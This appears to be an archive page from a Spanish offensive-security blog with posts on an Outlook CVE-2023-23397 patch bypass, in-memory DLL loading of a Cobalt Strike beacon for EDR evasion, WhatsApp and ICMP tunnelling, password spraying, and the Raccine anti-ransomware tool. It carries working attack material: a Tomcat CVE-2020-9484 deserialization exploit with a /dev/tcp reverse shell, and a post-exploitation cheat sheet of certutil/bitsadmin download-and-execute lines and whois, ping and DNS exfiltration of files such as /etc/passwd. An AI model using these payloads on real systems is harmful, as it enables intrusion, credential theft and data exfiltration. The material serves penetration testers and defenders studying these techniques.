martes, 6 de junio de 2023

Evasión del parche para la vulnerabilidad 0-click en Outlook CVE-2023-23397

En marzo de 2023 Microsoft parcheó una vulnerabilidad etiquetada como CVE-2023-23397 que afectaba a Outlook y podía permitir a un atacante obtener las credenciales de su víctima sin su interacción (0-click) simplemente mandando una convocatoria de reunión con una ruta UNC a un servidor malicioso en la ruta a un sonido de notificación personalizado (propiedad MAPI extendida PidLidReminderFileParameter). Al intentar conectar al servidor SMB remoto, el hash Net-NTLMv2 se envía en un mensaje de negociación.

Actualmente, para cargar del archivo de sonido custom, Outlook usa dos funciones importantes:

  • MapUrlToZone - Devuelve la zona de la URL; se utiliza para determinar si la ruta es local, intranet o de confianza. Esto es lo que se implementó para solucionar el problema con la vulnerabilidad de marzo, e para verificar que la ruta no se refiera a una URL de Internet. Si es así, se utiliza el sonido de recordatorio predeterminado en lugar del personalizado.
  • CreateFile: abre un handler para el archivo de sonido

Pues bien, ahora  el investigador de Akamai Ben Barnea ha encontrado un bypass contra esa medida mitigatoria...

Para llamar a MapUrlToZone, podemos usar el siguiente script de PowerShell que invoca la función a través del Modelo de objetos componentes (COM):

PS C:\Users\research1>[IEZones]::MapUrlToZone('\\Akamai.com\file.wav')    
3             

Para verificar que MapUrlToZone es una mitigación adecuada, podemos probarlo llamándolo en la misma ruta que desencadenó la vulnerabilidad: una ruta UNC absoluta con un dominio de Internet. MapUrlToZone devuelve 3, lo que indica que la ruta se encuentra en la zona de Internet, como se esperaba.

PS C:\Users\research1>[IEZones]::MapUrlToZone('\\.\UNC\Akamai.com\file.wav')      
3

Como podéis observar, MapUrlToZone aún identifica la ruta como una zona de Internet, por lo que aún estaría bloqueada.
Sin embargo, al agregar otro '\' después de "UNC\", MapUrlToZone ahora devuelve 0, lo que significa una ruta local:

PS C:\Users\research1>[IEZones]::MapUrlToZone('\\.\UNC\\Akamai.com\file.wav')
0

Como veis, MapUrlToZone concluye que esta URL es local.

El siguiente paso sería llamar a la función CreateFile, ¿Accederá a un archivo local o lo descargará a través de SMB?

Redoble de tambores ...

Como podéis observar en la imagen, se envió una solicitud de DNS para obtener la IP de Akamai.com. Parece que efectivamente esa ruta para MapUrlToZone es local, ¡pero hace que CreateFile envíe una solicitud a Internet!

Os recomiendo daros una vuelta por este enlace, pero el resumen es que la clave está en las conversiones:

Ruta vulnerable: \\.\UNC\\Akamai.com\file.wav

1. MapUrlToZone:
    CreateUri: /.//UNC//Akamai.com/file.wav
    NT Path: \??\C:\UNC\Akamai.com\file.wav
    Full Path: C:\UNC\Akamai.com\file.wav
    
2. CreateFile:
    Dos Path: \??\UNC\Akamai.com\file.wav    
    Full Path: \\.\UNC\Akamai.com\file.wav
   

Pero, ¿por qué manda CreateFile la petición hacia fuera con esa ruta? El acceso a esta ruta NT hará que el object manager enrute la solicitud de E/S al controlador del proveedor de múltiples UNC (MUP). (Esto se debe a que la entrada del directorio de objetos globales para "UNC" es un enlace simbólico a "\Device\Mup".) Luego RtlpDosPathNameToRelativeNtPathName elimina las '\' extra, por lo que la ruta resultante final contiene solo el nombre de dominio de Internet :)

Al final si explotáis la vulnerabilidad usando como payload la ruta vulnerable lo tendréis:

Fuente: https://www.akamai.com/blog/security-research/important-outlook-vulnerability-bypass-windows-api
Mitigaciones: https://www.microsoft.com/en-us/security/blog/2023/03/24/guidance-for-investigating-attacks-using-cve-2023-23397/
 Exploit (modificar el payload): https://github.com/api0cradle/CVE-2023-23397-POC-Powershell

jueves, 4 de mayo de 2023

PythonMemoryModule: implementación en python/ctypes para cargar una dll/exe en memoria

MemoryModule es una vieja herramienta desarrollada por Joachim Bauch que permite cargar y ejecutar módulos de Windows directamente desde la memoria en tiempo de ejecución en lugar de cargarlos desde el disco. Su técnica se basa en la capacidad de Windows de ejecutar código desde una sección de memoria que ha sido asignada como ejecutable.

La ventaja de esta técnica es que permite cargar módulos de forma dinámica y sin tener que escribirlos en el disco, lo que puede ser útil en ciertos casos, como cuando se desea ocultar el código malicioso de la detección por parte un EDR... ejem ejem... Además, al no cargar desde el disco, se puede evitar que se generen rastros en el filesystem o registros del sistema. claro claro...
 
Pues hoy y gracias al italiano naksyn traemos una implementación de esta técnica con Python utilizando la librería ctypes, ya sabéis, la que permite acceder a librerías compartidas escritas en lenguajes de programación como C, C++, entre otros, desde Python, cargando .pyd compilados en lugar de dlls externas, y apoyándose en pefile para analizar las cabeceras del ejecutable.

La herramienta llamada PythonMemoryModule (qué original en el nombre) se pensó en principio para usarla como un módulo de Pyramid para proporcionar evasión contra AV/EDR mediante la carga de payloads dll/exe en python.exe completamente desde la memoria; sin embargo, son posibles otros casos de uso (protección de IP, carga en memoria de pyds, spin-offs para otras técnicas más sigilosas), etc. 

Además, utilizar un lenguaje interpretado como Python nos aporta ventajas adicionales:

  • permite la carga de una dll desde un búfer de memoria utilizando el binario python.exe firmado sin necesidad de colocar en el disco código/bibliotecas externas (como enlaces de pymemorymodule) que pueden ser detectados por un AV/EDR o pueden despertar la sospecha del usuario.
  • no requiere meter el código en el loader ya que con Python se puede cargar de forma dinámica y en memoria
  • podemos cargar un payload stageless sin realizar una inyección o ejecutar un shellcode. El proceso de carga imita la API LoadLibrary sin llamarla...

Veamos un ejemplo de uso, por ejemplo la descarga de una dll de beacon stageless de Cobalt Strike (no se guarda en el disco), se carga en la memoria y se inicia llamando al entrypoint:

import urllib.request 
import ctypes 
import pythonmemorymodule 
request = urllib.request.Request('http://192.168.1.2/beacon.dll'
result = urllib.request.urlopen(request
buf=result.read() 
dll = pythonmemorymodule.MemoryModule(data=buf, debug=True
startDll = dll.get_proc_addr('StartW'
assert startDll() 
#dll.free_library()

Nota: si usamos staging en nuestro malleable profile, la dll no podrá cargarse con LoadLibrary, por lo tanto, MemoryModule no funcionará.

¿Y cómo pueden detectar esta técnica los azulones? MemoryModule respetará principalmente los permisos de las secciones de la DLL de destino y evitará el enfoque RWX ruidoso. Sin embargo, dentro de la memoria del programa habrá un private commit no respaldado por una dll en disco y esto podría generar un indicador.

Proyecto: https://github.com/naksyn/PythonMemoryModule

miércoles, 3 de mayo de 2023

wa-tunnel: túnel TCP sobre Whatsapp

El otro día en pleno vuelo de una compañía que no voy a nombrar, vi que a bordo ofrecían servicio de Internet en dos modalidades/precios: navegación normal o navegación sólo para servicios de mensajería instantánea como WhatsApp. Por otro lado, también existen muchos operadores de telefonía e Internet que tiene tarifas sin límite de GBs para WhatsApp... ¿y si hiciéramos un túnel a través de WhatsApp para aprovecharnos de ésto? Siempre con motivos académicos por supuesto...

Pues desde Andorra Aleix Rodríguez nos ofrece una herramienta para llevarlo a cabo: wa-tunnel, una herramienta basada en Baileys que nos permitirá hacer un túnel TCP a través de dos cuentas de Whatsapp.

Dependiendo de la cantidad de caracteres necesarios, dividirá la comunicación en diferentes mensajes de texto o archivos. Para que WhatsApp no agote el tiempo de espera, por defecto está limitado a 20k caracteres por mensaje (actualmente está configurado en wasocket.js). Si un paquete de red supera el límite (los 20k caracteres), se enviará como un archivo si está habilitada la opción. Además, si se almacenan en caché varios paquetes de red, utilizará los mismos criterios.

Los mensajes de archivo se envían como archivos binarios, las respuestas de TCP se concatenan con un delimitador y se comprimen con brotli para reducir el uso de datos.

También almacena en caché las respuestas del socket TCP para agruparlas y enviar la máxima cantidad de datos en un mensaje, por lo tanto, reduce la cantidad de mensajes, mejora la velocidad y reduce la probabilidad de ser baneado.

Instalación

Debemos tener acceso a dos cuentas de Whatsapp, una para el servidor y otra para el cliente. Podemos reenviar un puerto local o usar un proxy externo.

Lado del servidor

Clona el repositorio en tu servidor e instala las dependencias de los nodos.

cd path/to/wa-tunnel
npm install
  
Luego, podemos iniciar el servidor con el siguiente comando, donde el puerto es el puerto proxy y el host es el host proxy que desea reenviar. Y número es el número de WhatsApp del cliente con el código del país todo junto y sin +.    
npm run server host port number

Ej. npm run server 192.168.0.1 3128 12345678901

Lado del cliente

Clona el repositorio en tu servidor e instala las dependencias de los nodos.
cd path/to/wa-tunnel
npm install
  
Luego, podemos iniciar el servidor con el siguiente comando, donde puerto es el puerto local donde se conectará y el número es el número de WhatsApp del servidor con el código de país en conjunto y sin +.    
npm run client port number

Ej. npm run client 8080 1234567890

Uso

La primera vez que abramos el script, el Baileys nos pedirá que escaneemos el código QR con la aplicación de WhatsApp, después de eso, la sesión se guardará para su uso posterior.

Si falla (suele ser normal) simplemente hay que reiniciar el script y tendremos nuestro cliente/servidor listo.

Una vez que tengamos el cliente y el servidor listos, podemos probar usando curl y ver cómo sucede la magia.
curl -v -x localhost:8080 https://httpbin.org/ip

Ha sido probado también con un navegador normal como Firefox, es lento pero se puede usar.

También podemos reenviar otros puertos de protocolos como SSH configurando el servidor de esta manera:
npm run server localhost 22 12345678901

Y luego conectarse al servidor usando en el cliente:
ssh root@localhost -p 8080

Uso en Android

Para usarlo en Android, podemos hacerlo con Termux usando los siguientes comandos:
pkg update && pkg upgrade
pkg install git nodejs -y
git clone https://github.com/aleixrodriala/wa-tunnel.git
cd wa-tunnel
npm install

Proyecto: https://github.com/aleixrodriala/wa-tunnel

miércoles, 13 de abril de 2022

ICMP-TransferTools: transfiriendo archivos mediante ICMP

ICMP-TransferTools es un conjunto de scripts diseñados para mover archivos hacia y desde hosts de Windows en entornos de red restringidos. Esto se logra utilizando un total de 4 archivos diferentes, que consisten en un servidor Python y un cliente PowerShell para cada dirección de transferencia (Descargar y Subir).
La única dependencia requerida es Impacket para uno de los scripts de python. Se puede instalar a través de pip simplemente así:

pip3 install impacket

Descarga a través de ICMP

Los scripts ICMP-SendFile.py e Invoke-IcmpDownload.ps1 incluidos en el repo se pueden usar para descargar un archivo a un host de Windows a través de ICMP.
El servidor python debe ejecutarse primero para preparar el archivo para su descarga. Las opciones para el uso del script son las siguientes:

usage: ICMP-SendFile.py [-h] [-v] [-b 1000] source destination file

ICYGUIDER'S ICMP FILE DOWNLOAD SERVER

positional arguments:
  source                Public IP address of current host
  destination           Public IP address of destination host
  file                  File to transfer over ICMP

optional arguments:
  -h, --help            show this help message and exit
  -v, --verbose         Verbosely print progress
  -b 1000, --block-size 1000
                        Size of each block (Default: 1000)

Una vez importado, se puede usar el cliente en PowerShell para descargar el archivo de la siguiente manera:
Invoke-IcmpDownload PublicIPAddressOfServer FileToDownload

A continuación una pequeña demo:

Subida a través de ICMP

Los scripts ICMP-ReceiveFile.py e Invoke-IcmpUpload.ps1 incluidos se pueden usar para subir/exfiltrar un archivo desde un host de Windows a través de ICMP.

El servidor Python debe ejecutarse primero para garantizar que esté listo para aceptar peticiones del cliente. Las opciones para el uso del script son las siguientes:

usage: ICMP-ReceiveFile.py [-h] src file

ICYGUIDER'S ICMP FILE UPLOAD SERVER

positional arguments:
  src         Public IP Address of client
  file        File to write data to

optional arguments:
  -h, --help  show this help message and exit
Una vez importado, el cliente de PowerShell se puede usar para subir el archivo deseado de la siguiente manera:
Invoke-IcmpUpload PublicIPAddressOfServer FileToUpload
Y de nuevo, otra pequeña demo:


Repo: https://github.com/icyguider/ICMP-TransferTools

viernes, 22 de enero de 2021

SpiderFoot, Una herramienta OSINT de gran utilidad

Hoy os presentamos una herramienta muy útil en la parte de recolección de información. SpiderFoot es una herramienta OSINT, que puedes descargar aquí.

Esta herramienta OSINT la podemos usar en el momento de recolectar información en una auditoría. Con SpiderFoot, podremos hacer escaneos sobre un dominio, una web, una ip, un mail o una red.

En la pantalla principal podremos ver varias opciones, como comenzar un nuevo escaneo, ver escaneos realizados o configurarlo en settings como nosotros queramos.

Una vez que configuremos o dejemos por defecto la configuración de la herramienta, podremos hacer nuestro primer escaneo.

Nos aparece la descripción, el objetivo y podemos configurar lo que queramos. Si dejamos ALL por defecto, nos sacará toda la información que recolecte, pero el escaneo será más lento.

Una vez comenzado el escaneo, veremos una pantalla similar a esta:
Aquí nos indica el estado del escaneo. En este caso, podemos observar que está en modo comienzo, donde nos lo indica con el status: starting.

Una vez que el escaneo comienza, aparecerá el estado Scanning y, una vez finalice, aparecerá el indicador Finished.

Los resultados aparecerán de la siguiente forma:

Si pasamos el cursor por encima de cualquier barra, nos dará información de lo recolectado.
En la pestaña de SCANS, podremos ver los scaneos realizados, así como sus resultados y poder explotarlos.

Sencilla protección contra ransomware mediante Raccine

Muchas familias de ransomware intentan mediante vssadmin borrar todas las shadow copies del sistema, ya sabéis, las instantáneas que va tomando Windows para poder volver a un punto de restauración en caso necesario. Es decir, intentan que la víctima no pueda tirar de ningún backup. ¿Qué pasaría si pudiéramos interceptar ese intento y terminar el proceso que lo invoca? Pues esto es lo que hace la herramienta Raccine del archifamoso Florian Roth aka Neo23x0.

Funcionamiento

  • Se intercepta la llamada a vssadmin.exe (y wmic.exe) y se pasa a raccine.exe como debugger (vssadmin.exe delete shadows se convierte en raccine.exe vssadmin.exe delete shadows)
  • Luego se procesan los argumentos de la línea de comandos y se buscan combinaciones maliciosas usando reglas de Yara.
  • Si no se puede encontrar una combinación maliciosa, se crea un nuevo proceso con los parámetros originales de la línea de comandos.
  • Si se encuentra una combinación maliciosa, se recopilan todos los PID de los procesos principales y comienza a matarlos. Raccine muestra una ventana de línea de comandos con los PID eliminados durante 5 segundos, lo loggea en el registro de eventos de Windows y luego sale.

Ventajas:

  • El método es bastante genérico.
  • No tenemos que reemplazar un archivo de sistema (vssadmin.exe o wmic.exe), lo que podría ocasionar problemas de integridad y podría romper nuestra vacuna cada vez que se parchee
  • Permite usar reglas YARA para buscar parámetros maliciosos en la línea de comandos
  • Los cambios son fáciles de deshacer
  • Se ejecuta en Windows 7/Windows 2008 R2 o superior
  • No se requiere un ejecutable en ejecución o un servicio adicional (sin agente)

Desventajas/Puntos ciegos

  • El uso legítimo de vssadmin.exe para eliminar shadow copies (o cualquier otra combinación blacklisteada) ya no es posible
  • Elimina todos los procesos que intentaron invocar vssadmin.exe, lo que podría ser un proceso de copia de seguridad (falso positivo)
  • Esto no detectará métodos en los que el proceso malicioso no sea uno de los procesos en el árbol que ha invocado vssadmin.exe (por ejemplo, a través de schtasks)

Combinaciones maliciosas:

  • delete y shadows (vssadmin, diskshadow)
  •  resize y shadowstorage (vssadmin)
  • delete y shadowstorage (vssadmin)
  • delete y shadowcopy (wmic)
  • delete y catalog y -quiet (wbadmin)
  • win32_shadowcopy o element de una lista de conandos encodeados (powershell)
  • recoveryenabled (bcedit)
  • ignoreallfailures (bcedit)

Lista de Powershell de comandos encodeados: JAB, SQBFAF, SQBuAH, SUVYI, cwBhA, aWV4I, aQBlAHgA y muchos más

Ejemplos de uso

Emotet sin Raccine - Link

Emotet con Raccine - Link (ignorar la actividad del proceso que está relacionada con la instalación de Raccine)

La infección se corta de raíz.


Detalles de la instalación y más info en: https://github.com/Neo23x0/Raccine

jueves, 21 de enero de 2021

Tritium: una herramienta en go para password spraying

Hoy en día existen muchas herramientas para hacer password spraying mediante pre-autenticación de Kerberos, pero hoy he visto una escrita en Go llamada Tritium bastante interesante y una buena candidata para añadir al arsenal de todo buen pentester. 

Tal y como rezan en su Github incorporan las siguientes funcionalidades:

  • previene el bloqueo de usuarios del dominio
  • integra la enumeración de nombres de usuario con el proceso de spray de contraseñas (ambas son funcionalidades separadas)
  • capacidad de hacer spray de contraseñas de forma recursiva en lugar de ejecutar un simple spray
  • puede hacer resume/continuar el ataque e ignora las cuentas previamente comprometidas

Tritium permite lo mencionado anteriormente y más. Por ejemplo la enumeración de usuarios ya no desperdiciará un intento de login previo porque lo usará para generar un archivo de usuarios válidos. Tritium también le da al usuario la capacidad de pasarle un archivo de contraseñas para hacer spray de forma recursiva. Y sobretodo tiene la funcionalidad como comentábamos de que detecta si un dominio está bloqueando cuentas al guardar el estado y detiene el ataque si se bloquean 3 cuentas consecutivas.

Repo: https://github.com/S4R1N/Tritium
Instalación: go get S4R1N/Tritium

Uso:

 ./Tritium -h

        ___________      .__  __  .__               
        \__    ___/______|__|/  |_|__|__ __  _____  
          |    |  \_  __ \  \   __\  |  |  \/     \ 
          |    |   |  | \/  ||  | |  |  |  /  Y Y  \
          |____|   |__|  |__||__| |__|____/|__|_|__/ v 0.4
                                                                                          

          Author: S4R1N, alfarom256
 


 Required Params:

 -d            The full domain to use (-domain targetdomain.local)
 -dc           Domain controller to authenticate against (-dc washingtondc.targetdomain.local)
 -dcf          File of domain controllers to authenticate against 
 -u            Select single user to authenticate as (-user jsmith) 
 -uf           User file to use for password spraying (-userfile ~/home/users.txt)
 -p            Password to use for spraying (-password Welcome1)

 Optional: 

 -help         Print this help menu
 -o            Tritium Output file (default spray.json)
 -w            Wait time between authentication attempts [Default 1] (-w 0)    
 -jitter       % Jitter between authentication attempts      
 -rs           Enable recursive spraying 
 -ws           Wait time between sprays [Default 3600] (-ws 1800)
 -pwf          Password file to use for recursive 
 -res          Continue a password spraying campaign
 -rf           Tritium Json file 

viernes, 15 de enero de 2021

CVE-2020-9484: RCE mediante deserialización en Apache Tomcat con PersistentManager

Hoy vamos a ver la explotación de la vulnerabilidad CVE-2020-9484 que publicó Jarvis Threedr3am, de pdd security research, a comienzos del verano pasado y que permite ejecución remota de código a través de deserialización en versiones de Apache Tomcat anteriores a abril de 2020. 

Eso sí, para que el servidor Tomcat objetivo sea vulnerable además los administradores tienen que haber configurado el uso de PersistentManager editando el archivo conf/context.xml, ya que por defecto Tomcat se ejecutará con StandardManager

  • StandardManager mantendrá las sesiones en la memoria. Si tomcat se cierra correctamente, almacenará las sesiones en un objeto serializado en el disco (llamado "SESSIONS.ser" por defecto). 
  • PersistentManager hace lo mismo, pero con un extra: hacer swapping de sesiones inactivas/idle. Si una sesión ha estado inactiva durante x segundos, se moverá al disco. Es una forma de reducir el uso de memoria. 

Cuando Tomcat recibe una solicitud HTTP con una cookie JSESSIONID, le pedirá al Manager que verifique si esa sesión ya existe. Como se controla el JSESSIONID ¿qué pasa por ejemplo si lo seteamos a un valor como "JSESSIONID=../../../../../../tmp/12345"? 

  • Tomcat solicita al Manager que verifique si existe una sesión con el ID de sesión "../../../../../../tmp/12345"
  • Primero verificará si tiene esa sesión en la memoria. 
  • Si no es así y está configurado PersistentManager verificará si tiene la sesión en el disco.
  • Verificará en el directorio + sessionid + ".session", por lo que se evalúa como “./session/../../../../../../tmp/12345.session“ 
  • Si el archivo existe, lo deserializará y analizará la información de la sesión.

Entonces, ya ha os habéis imaginado que necesitamos cargar un objeto serializado malicioso en un path interno de la máquina para que podamos recuperarlo a través de la cookie JSESSIONID y poder conseguir RCE. 

La aplicación web devolverá un error HTTP 500 cuando se explote, porque encontrará un objeto serializado malicioso en lugar de uno que contiene información de sesión como se espera.

Así que amos a ello. Por ejemplo empezaremos con un script en bash para una shell reversa en el puerto 1337: 

payload.sh

#!/bin/bash
bash -c "bash -I >& /dev/tcp/<MY KALI IP>/1337 0>&1"

A continuación, usando ysoserial, crearemos tres archivos, uno para descargar nuestro payload, otro para darle permisos 777 y finalmente otro para ejecutarlo.

downloadPayload.session 

java -jar ysoserial-master-6eca5bc740-1.jar CommonsCollections2 'curl http:///payload.sh -o /tmp/payload.sh' > downloadPayload.session 

chmodPayload.session 

java -jar ysoserial-master-6eca5bc740-1.jar CommonsCollections2 "chmod 777 /tmp/payload.sh" > chmodPayload.session execute

Payload.session 

java -jar ysoserial-master-6eca5bc740-1.jar CommonsCollections2 'bash /tmp/payload.sh' > executePayload.session 

A partir de este punto, podemos lanzar los comandos uno a uno mediante curl, juntándolos por ejemplo mediante un simple script en bash:

#!/bin/bash
curl http://target.demo:8080/upload.jsp -H 'Cookie:JSESSIONID=../../../opt/samples/uploads/downloadPayload' -F 'image=@downloadPayload.session'
curl http://target.demo:8080/upload.jsp -H 'Cookie:JSESSIONID=../../../opt/samples/uploads/downloadPayload'
sleep 1
curl http://target.demo:8080/upload.jsp -H 'Cookie:JSESSIONID=../../../opt/samples/uploads/chmodPayload' -F 'image=@chmodPayload.session'
curl http://target.demo:8080/upload.jsp -H 'Cookie:JSESSIONID=../../../opt/samples/uploads/chmodPayload'
sleep 1
curl http://target.demo:8080/upload.jsp -H 'Cookie:JSESSIONID=../../../opt/samples/uploads/executePayload' -F 'image=@executePayload.session'
curl http://target.demo:8080/upload.jsp -H 'Cookie:JSESSIONID=../../../opt/samples/uploads/executePayload'
Ahora, con todos estos archivos en el mismo directorio, levantaremos un web server para servirlos al objetivo y un listener para la sesión reversa. 

Ejecutamos el script y, ¡tenemos ejecución remota de código! 

En resumen, recordar que los requisitos previos para ser vulnerable son: 

  • Que contenga una versión afectada, en concreto:     
  • Apache Tomcat 10.x <10.0.0-M5
  • Apache Tomcat 9.x <9.0.35
  • Apache Tomcat 8.x <8.5.55
  • Apache Tomcat 7.x <7.0.104
  • El atacante puede subir un archivo arbitrario, tiene control sobre el nombre del archivo y conoce la ubicación donde se sube.
  • El PersistentManager está habilitado y está usando un FileStore
  • El PersistentManager está configurado con sessionAttributeValueClassNameFilter="null" (el valor predeterminado a menos que se use un SecurityManager) o un filtro lo suficientemente laxo para permitir que el objeto proporcionado por el atacante sea deserializado

Con el siguiente script podemos ver si se cumplen los requisitos anteriores en la máquina de la víctima para ver si es vulnerable: https://github.com/osamahamad/CVE-2020-9484-Mass-Scan 

Fuentes:

sábado, 9 de enero de 2021

Técnicas para transferir archivos durante una post-explotación

Normalmente en cualquier ejercicio de red team cuando se consigue acceso a un sistema tendremos que ingeniárnoslas para subir distintos archivos, continuando así con el proceso de post-explotación.

Recientemente he visto un paper muy completo en Seebug del chino xax007 con un montón de técnicas que siempre conviene tener a mano:

Crear un servidor HTTP

Los siguientes comandos iniciarán el servicio HTTP en el directorio actual, en el puerto 1337.

python2:
python -m SimpleHTTPServer 1337

python3:
python -m http.server 1337

Ruby:
ruby -rwebrick -e'WEBrick::HTTPServer.new(:Port => 1337, :DocumentRoot => Dir.pwd).start'

Ruby 1.9.2+:
ruby -run -e httpd . -p 1337

Perl:
perl -MHTTP::Server::Brick -e '$s=HTTP::Server::Brick->new(port=>1337); $s->mount("/"=>{path=>"."}); $s->start'
perl -MIO::All -e 'io(":8080")->fork->accept->(sub { $_[0] < io(-x $1 +? "./$1 |" : $1) if /^GET \/(.*) / })'

PHP 5.4+:
php -S 0.0.0.0:1337

busybox httpd:
busybox httpd -f -p 8000

Descargar y ejecutar archivos desde el servidor HTTP

A continuación se muestran algunas maneras de descargar y ejecutar archivos desde un servidor HTTP utilizando las propias herramientas del sistema en sistemas Windows y Linux.

WINDOWS

powershell:
powershell (new-object System.Net.WebClient).DownloadFile('http://1.2.3.4/5.exe','c:\download\a.exe');start-process 'c:\download\a.exe'

Certutil:
certutil -urlcache -split -f http://1.2.3.4/5.exe c:\download\a.exe&&c:\download\a.exe

bitsadmin:
bitsadmin /transfer n http://1.2.3.4/5.exe c:\download\a.exe && c:\download\a.exe

Los siguientes comandos sólo descargarán el fichero indicado:

regsvr32:
regsvr32 /u /s /i:http://1.2.3.4/5.exe scrobj.dll

LINUX

Curl:
curl http://1.2.3.4/backdoor

Wget:
wget http://1.2.3.4/backdoor

awk:
awk 'BEGIN {
  RS = ORS = "\r\n"
  HTTPCon = "/inet/tcp/0/127.0.0.1/1337"
  print "GET /secret.txt HTTP/1.1\r\nConnection: close\r\n"    |& HTTPCon
  while (HTTPCon |& getline > 0)
      print $0
  close(HTTPCon)
}'

Usar un servidor HTTP con el método PUT

Con nginx:
mkdir -p /var/www/upload/ # crear dir
chown www-data:www-data /var/www/upload/ # cambiar permisos
cd /etc/nginx/sites-available # entrar al dir del virtual host de nginx

# escribir la config al fichero file_upload
cat < file_upload
server {
    listen 8001 default_server;
    server_name kali;
        location / {
        root /var/www/upload;
        dav_methods PUT;
    }
}
EOF
# escritura completada
cd ../sites-enable # ir al dir de inicio
ln -s /etc/nginx/sites-available/file_upload file_upload # activar file_upload
systemctl start nginx # iniciar Nginx 

Con Python:

Por ej. HTTPutServer.py:
# ref: https://www.snip2code.com/Snippet/905666/Python-HTTP-PUT-test-server
import sys
import signal
from threading import Thread
from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler



class PUTHandler(BaseHTTPRequestHandler):
    def do_PUT(self):
        length = int(self.headers['Content-Length'])
        content = self.rfile.read(length)
        self.send_response(200)
        with open(self.path[1:], "w") as f:
            f.write(content)


def run_on(port):
    print("Starting a HTTP PUT Server on {0} port {1} (http://{0}:{1}) ...".format(sys.argv[1], port))
    server_address = (sys.argv[1], port)
    httpd = HTTPServer(server_address, PUTHandler)
    httpd.serve_forever()


if __name__ == "__main__":
    if len(sys.argv) < 3:
        print("Usage:\n\tpython {0} ip 1337".format(sys.argv[0]))
        sys.exit(1)
    ports = [int(arg) for arg in sys.argv[2:]]
    try:
        for port_number in ports:
            server = Thread(target=run_on, args=[port_number])
            server.daemon = True # Do not make us wait for you to exit
        server.start()
        signal.pause() # Wait for interrupt signal, e.g. KeyboardInterrupt
    except KeyboardInterrupt:
        print "\nPython HTTP PUT Server Stoped."
        sys.exit(1)

Modo de funcionamiento:
$ python HTTPutServer.py 10.10.10.100 1337
Starting a HTTP PUT Server on 10.10.10.100 port 1337 (http://10.10.10.100:1337) ...

Subir archivos al HTTP PUT Linux con Curl:
$ curl --upload-file secret.txt http://ip:port/

Con Wget:
$ wget --method=PUT --post-file=secret.txt http://ip:port/

Windows Powershell:
$body = Get-Content secret.txt
Invoke-RestMethod -Uri http://ip:port/secret.txt -Method PUT -Body $body

Transferencia de ficheros usando Bash /dev/tcp 

Primero necesitamos levantar un puerto en el equipo donde recibiremos el archivo:
nc -lvnp 1337 > secret.txt

Desde el equipo que envía:
cat secret.txt > /dev/tcp/ip/port

Transferencia de archivos usando el protocolo SMB 

Crear un servidor SMB simple Para configurar el servidor SMB necesitaremos usar Impacket: https://github.com/SecureAuthCorp/impacket.

Impacket está instalado por defecto en Kali Linux (smbserver.py).

Sintaxis: impacker-smbserver ShareName SharePath
Ejemplo: impacker-smbserver share `pwd`

Descargar archivos desde el servidor SMB:
copy \\IP\ShareName\file.exe file.exe

Subir archivos al servidor SMB:
net use x: \\IP\ShareName
copy file.txt x:
net use x: /delete

Transferencia de archivos usando el comando whois: 

Receptor Host B:
nc -vlnp 1337 | sed "s/ //g" | base64 -d

Envío desde Host A:
whois -h 127.0.0.1 -p 1337 `cat /etc/passwd | base64`

Transferencia de archivos usando el comando ping: 

Receptor Host B:
Guardar archivo ping_receiver.py
import sys

try:
    from scapy.all import *
except:
    print("Scapy not found, please install scapy: pip install scapy")
    sys.exit(0)


def process_packet(pkt):
    if pkt.haslayer(ICMP):
        if pkt[ICMP].type == 8:
            data = pkt[ICMP].load[-4:]
            print(f'{data.decode("utf-8")}', flush=True, end="", sep="")

sniff(iface="eth0", prn=process_packet)

Y ejecutarlo:
python3 ping_receiver.py

Envío desde host A:
xxd -p -c 4 secret.txt | while read line; do ping -c 1 -p $line ip; done

Transferencia de archivos usando el comando dig: 

Receptor Host B:

El siguiente código utiliza los módulos scapy de Python, es necesario instalarlos manualmente.

Hay que guardar el código en dns_receiver.py:
try:
    from scapy.all import *
except:
    print("Scapy not found, please install scapy: pip install scapy")

def process_packet(pkt):
    if pkt.haslayer(DNS):
        domain = pkt[DNS][DNSQR].qname.decode('utf-8')
        root_domain = domain.split('.')[1]
        if root_domain.startswith('gooogle'):
            print(f'{bytearray.fromhex(domain[:-13]).decode("utf-8")}', flush=True, end='')

sniff(iface="eth0", prn=process_packet)

Y ejecutarlo:
python3 dns_receiver.py

Transferencia de archivos usando netcat: 

Receptor:
nc -l -p 1337 > 1.txt

Enviador:
cat 1.txt | nc -l -p 1337

o
nc 10.10.10.200 1337 < 1.txt

En algunos entornos en los que no hay nc se puede usar Bash's /dev/tcp para recibir el fichero:
cat < /dev/tcp/10.10.10.200/1337 > 1.txt

Taller de pivoting: túneles SSH

SSH tiene un montón de opciones (os recomiendo echar un vistazo a su página de man) y una de las más interesantes es que un cliente SSH también permite "tunelizar" un puerto o una conexión entre el sistema local del atacante y el servidor SSH remoto. Hay tres tipos diferentes de túneles SSH: reenvío de puertos local, remoto o dinámico.

Local port forwarding

El "reenvío de puertos local permite acceder a los recursos de la red local que no están expuestos desde el exterior (ya sea Internet, otra red externa o incluso para el acceso a servicios que están restringidos y accesibles solo desde el host local).


Por ejemplo, imaginad que queremos acceder al servicio RDP del servidor de la víctima. Para ello levantaremos un puerto local en la máquina del atacante que tunelizará directamente con el del servidor:

ssh -L local_port:remote_address:remote_port username@server.com
ssh -L 3389:192.168.2.3:3389 user@192.168.2.3


De esta manera, podremos establecer una sesión de escritorio remoto simplemente lanzando nuestro cliente así:

rdesktop 127.0.0.1

Aunque bueno... si estamos hablando de RDP se trata de Windows y sería bastante "exótico" que corriera un servidor SSH... así que si hemos comprometido previamente el servidor mediante cualquier otra vulnerabilidad podemos subir el binario plink.exe (la versión de consola de putty) y ejecutar:

plink.exe -i clave.ppk -L *:3389:localhost:3389 user@192.168.2.3
Otras opciones interesantes a tener en cuenta son:

-g : permite que otros clientes de la LAN puedan conectarse al puerto de la máquina del atacante. Por defecto, solo se permite en local.

-f : pone en background el proceso una vez que se haya establecido con éxito la sesión SSH. Muy util para que el puerto permanezca activo aún cuando se cierre la sesión interactiva.

Dynamic port forwarding

El "reenvío de puertos dinámico" funciona de manera similar a un proxy, de hecho, el cliente SSH creará un proxy SOCKS que se puede configurar en las aplicaciones para usarse. Es similar al reenvío local, pero
en lugar de a un sólo puerto, TODO el tráfico enviado a través del proxy será enviado a su vez a través del servidor SSH.


Para usar el reenvío dinámico tendremos que usar el argumento -D:

ssh -D local_port username@server.com
ssh -D 127.0.0.1:9050 root@192.168.2.2


